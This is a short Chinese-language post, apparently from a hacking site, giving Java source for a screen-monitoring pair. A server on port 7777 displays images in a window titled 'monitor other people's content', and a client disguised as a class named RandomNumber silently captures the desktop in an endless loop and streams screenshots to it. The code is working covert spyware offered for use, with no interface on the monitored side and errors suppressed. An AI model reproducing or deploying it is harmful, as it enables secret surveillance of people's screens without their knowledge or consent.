服务端 import java.io.*;
import java.net.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import java.util.*;
import javax.imageio.*;
import java.awt.image.*;
public class LDServer{
JFrame frame;
JLabel lab;
ServerSocket ss;
public LDServer()throws Exception{ //对方端口
ss = new ServerSocket(7777);
frame = new JFrame("监督别人的内容");
lab = new JLabel();
frame.add(lab); //监控屏幕的大小
frame.setSize(1366,768);
frame.setVisible(true);
frame.setDefaultCloseOperation(3);
new Thread(){
public void run(){
while(true){
try{
Socket s = ss.accept();
BufferedImage img = ImageIO.read(s.getInputStream());
lab.setIcon(new ImageIcon(img));
}catch(Exception e){ }
}
}
}.start();
}
public static void main(String[] args)throws Exception{
new LDServer();
}
}
客户端 import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import java.util.*;
import java.io.*;
import java.net.*;
import java.awt.image.*;
import javax.imageio.*;
public class RandomNumber{
public static void main(String[] args)throws Exception{
final Robot bot = new Robot();
new Thread(){
public void run(){
while(true){
try{ //自己的IP 端口和服务端的端口一样
Socket socket = new Socket("127.0.0.1",7777);
OutputStream os = socket.getOutputStream(); //截取桌面图片的大小
BufferedImage bi = bot.createScreenCapture(new Rectangle(1366,768));
ImageIO.write(bi,"jpeg",os);
socket.close(); }catch(Exception e){ }
}
}
}.start();
}
} 注:先运行服务端再运行客户端 本文来自于:www.haxiun.com
|